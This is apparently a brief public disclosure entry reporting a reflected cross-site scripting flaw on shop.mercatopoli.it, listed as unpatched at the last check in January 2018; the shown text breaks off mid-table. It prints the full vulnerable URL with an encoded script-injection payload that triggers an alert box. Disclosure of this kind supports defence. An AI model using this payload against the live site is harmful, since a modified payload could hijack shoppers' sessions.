shop.mercatopoli.it XSS vulnerability

Vulnerable URL: https://shop.mercatopoli.it/index.php?sf=1=eiotypepage%3Dlist=3419vetrinakey=%3CIMG+%22%22%22%3E%3CSCRIPT%3Ealert%28%22XSSPOSED%22%29%3C%2FSCRIPT%3E%22%3Evetrinacat=Allvetrinaoff=on Details: Description| Value ---|--- Patched:| No Latest check for patch:| 01.01.2018 Vulnerability...